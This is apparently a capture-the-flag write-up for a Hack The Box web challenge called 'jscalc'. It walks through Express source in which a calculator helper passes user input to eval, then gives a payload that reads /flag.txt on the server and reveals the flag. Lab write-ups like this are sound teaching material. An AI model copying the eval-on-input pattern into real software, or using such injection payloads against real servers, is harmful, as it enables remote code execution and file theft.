jscalc
1 minute to read
We are given this website:
We are also given the source code of the web application, which is build with Express JS (Node.js).
Source code analysis
There is only one route (routes/index.js
):
const path = require('path');
const express = require('express');
const router = express.Router();
const Calculator = require('../helpers/calculatorHelper');
const response = data => ({ message: data });
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/calculate', (req, res) => {
let { formula } = req.body;
if (formula) {
result = Calculator.calculate(formula);
return res.send(response(result));
}
return res.send(response('Missing parameters'));
})
module.exports = router;
// ocd
It only calls Calculator.calculate
on the data we provide to the endpoint in the request body:
module.exports = {
calculate(formula) {
try {
return eval(`(function() { return ${ formula } ;}())`);
} catch (e) {
if (e instanceof SyntaxError) {
return 'Something went wrong!';
}
}
}
}
// ocd
Code injection
Notice that our provided formula
is injected directly into some JavaScript code that is executed with eval
. As a result, we can execute arbitrary JavaScript code. For instance, we can open /flag.txt
and print it out:
require('fs').readFileSync('/flag.txt').toString()
Flag
Executing the above payload will show the flag:
HTB{c4lcul4t3d_my_w4y_thr0ugh_rc3}